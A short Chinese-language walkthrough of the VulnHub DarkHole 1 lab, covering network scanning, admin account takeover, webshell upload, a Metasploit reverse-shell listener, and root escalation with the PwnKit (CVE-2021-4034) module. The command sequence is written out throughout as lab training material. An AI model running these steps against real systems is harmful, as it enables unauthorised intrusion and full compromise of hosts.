Web到Linux-内核溢出Pwnkit

复现环境： https://www.vulnhub.com/entry/darkhole-1,724/

解压DarkHole.zip，导⼊虚拟机

步骤一：信息搜集

1.探测⽬标ip及开发端⼝

nmap -p1-65535 192.168.251.0/24

2.发现了开放80端口192.168.251.128

步骤二：Web漏洞利⽤

1.重置管理密码,注册新账号抓包将id改为1

2.使用admin管理员账号登录

3. 上传一个1.phtml的木马

4.用哥斯拉来连接

步骤三：反弹MSF  

1.将内核检测脚本和综合检测脚本都上传到⽬标服务器的/tmp⽬录

2.启动msf

msfdb run

2.监听本地6666端⼝等待php反弹后⻔连接

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 6666

run

步骤四：内核提权

1.上传提权辅助脚本

upload /root/linux-exploit-suggester.sh /tmp/linux-exploit-suggester.sh

upload /root/linpeas.sh /tmp/linpeas.sh

2.进⼊shell

shell

cd /tmp

chmod +x linpeas.sh

chmod +x linux-exploit-suggester.sh

3.综合辅助脚本

./linpeas.sh

4. 内核辅助脚本

./linux-exploit-suggester.sh

5.查找漏洞利⽤模块

search cve_2021_4034

6.使⽤提权漏洞利⽤模块

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

set session 1

run

7. 在获取的shell中查看当前⽤户权限

getuid